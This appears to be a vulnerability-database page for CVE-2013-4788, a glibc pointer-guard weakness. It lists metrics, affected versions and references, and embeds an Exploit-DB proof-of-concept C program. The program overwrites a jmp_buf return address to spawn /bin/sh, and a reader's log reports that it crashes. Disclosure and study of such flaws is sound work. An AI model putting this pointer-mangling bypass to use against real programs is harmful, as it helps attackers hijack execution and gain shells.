CVE-2013-4788 : Detail

CVE-2013-4788

A03-Injection
2.98%V3
Network
2013-10-04
15h00 +00:00
2017-06-30
14h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The PTR_MANGLE implementation in the GNU C Library (aka glibc or libc6) 2.4, 2.17, and earlier, and Embedded GLIBC (EGLIBC) does not initialize the random value for the pointer guard, which makes it easier for context-dependent attackers to control execution flow by leveraging a buffer-overflow vulnerability in an application and using the known zero value pointer guard to calculate a pointer address.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Metrics

Metrics Score Severity CVSS Vector Source
V2 5.1 AV:N/AC:H/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 28657

Publication date : 2013-09-29 22h00 +00:00
Author : Hector Marco & Ismael Ripoll
EDB Verified : No

/* * * Exploit-DB Note: Reportedly does not work. See output at the bottom of the entry. * * $FILE: bug-mangle.c * * Comment: Proof of concept * * $VERSION$ * * Author: Hector Marco <[email protected]> * Ismael Ripoll <[email protected]> * * $LICENSE: * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include <stdio.h> #include <setjmp.h> #include <stdint.h> #include <limits.h> #ifdef __i386__ #define ROTATE 0x9 #define PC_ENV_OFFSET 0x14 #elif __x86_64__ #define ROTATE 0x11 #define PC_ENV_OFFSET 0x38 #else #error The exploit does not support this architecture #endif unsigned long rol(uintptr_t value) { return (value << ROTATE) | (value >> (__WORDSIZE - ROTATE)); } int hacked(){ printf("[+] hacked !!\n"); system("/bin/sh"); } int main(void){ jmp_buf env; uintptr_t *ptr_ret_env = (uintptr_t*) (((uintptr_t) env) + PC_ENV_OFFSET); printf("[+] Exploiting ...\n"); if(setjmp(env) == 1){ printf("[-] Exploit failed.\n"); return 0; } /*Overwrie env return address */ *ptr_ret_env = rol((uintptr_t)hacked); longjmp(env, 1); printf("[-] Exploit failed.\n"); return 0; } #################################################################################################################### # # Reader submitted results /* [522] user@his-system ~ $ ./POC [+] Exploiting ... Segmentation fault [523] user@his-system ~ $ ldd POC linux-vdso.so.1 => (0x00007fffab5fd000) libc.so.6 => /lib64/libc.so.6 (0x0000003269800000) /lib64/ld-linux-x86-64.so.2 (0x0000003269400000) [525] user@his-system ~ $ uname -a Linux his-sysrtem.domain.LOCAL 2.6.18-348.12.1.el5xen #1 SMP Mon Jul 1 17:58:32 EDT 2013 x86_64 x86_64 x86_64 GNU/Linux [526] user@his-system ~ $ [526] user@his-system ~ $ grep vsys /proc/self/maps ffffffffff600000-ffffffffffe00000 ---p 00000000 00:00 0 [vsyscall] ffffffffff600000-ffffffffffe00000 ---p 00000000 00:00 0 [vsyscall] */

Products Mentioned

Configuraton 0

Gnu>>Glibc >> Version To (including) 2.17

Gnu>>Glibc >> Version 2.0

Gnu>>Glibc >> Version 2.0.1

Gnu>>Glibc >> Version 2.0.2

Gnu>>Glibc >> Version 2.0.3

Gnu>>Glibc >> Version 2.0.4

Gnu>>Glibc >> Version 2.0.5

Gnu>>Glibc >> Version 2.0.6

Gnu>>Glibc >> Version 2.1

Gnu>>Glibc >> Version 2.1.1

Gnu>>Glibc >> Version 2.1.1.6

Gnu>>Glibc >> Version 2.1.2

Gnu>>Glibc >> Version 2.1.3

Gnu>>Glibc >> Version 2.1.9

Gnu>>Glibc >> Version 2.4

Gnu>>Glibc >> Version 2.10.1

Gnu>>Glibc >> Version 2.11

Gnu>>Glibc >> Version 2.11.1

Gnu>>Glibc >> Version 2.11.2

Gnu>>Glibc >> Version 2.11.3

Gnu>>Glibc >> Version 2.12.1

Gnu>>Glibc >> Version 2.12.2

Gnu>>Glibc >> Version 2.13

Gnu>>Glibc >> Version 2.14

Gnu>>Glibc >> Version 2.14.1

Gnu>>Glibc >> Version 2.15

Gnu>>Glibc >> Version 2.16

Configuraton 0

Gnu>>Eglibc >> Version *

    References

    http://seclists.org/fulldisclosure/2015/Sep/23
    Tags : mailing-list, x_refsource_FULLDISC
    http://www.mandriva.com/security/advisories?name=MDVSA-2013:284
    Tags : vendor-advisory, x_refsource_MANDRIVA
    http://www.openwall.com/lists/oss-security/2013/07/15/9
    Tags : mailing-list, x_refsource_MLIST
    http://www.securityfocus.com/bid/61183
    Tags : vdb-entry, x_refsource_BID
    https://security.gentoo.org/glsa/201503-04
    Tags : vendor-advisory, x_refsource_GENTOO
    http://www.mandriva.com/security/advisories?name=MDVSA-2013:283
    Tags : vendor-advisory, x_refsource_MANDRIVA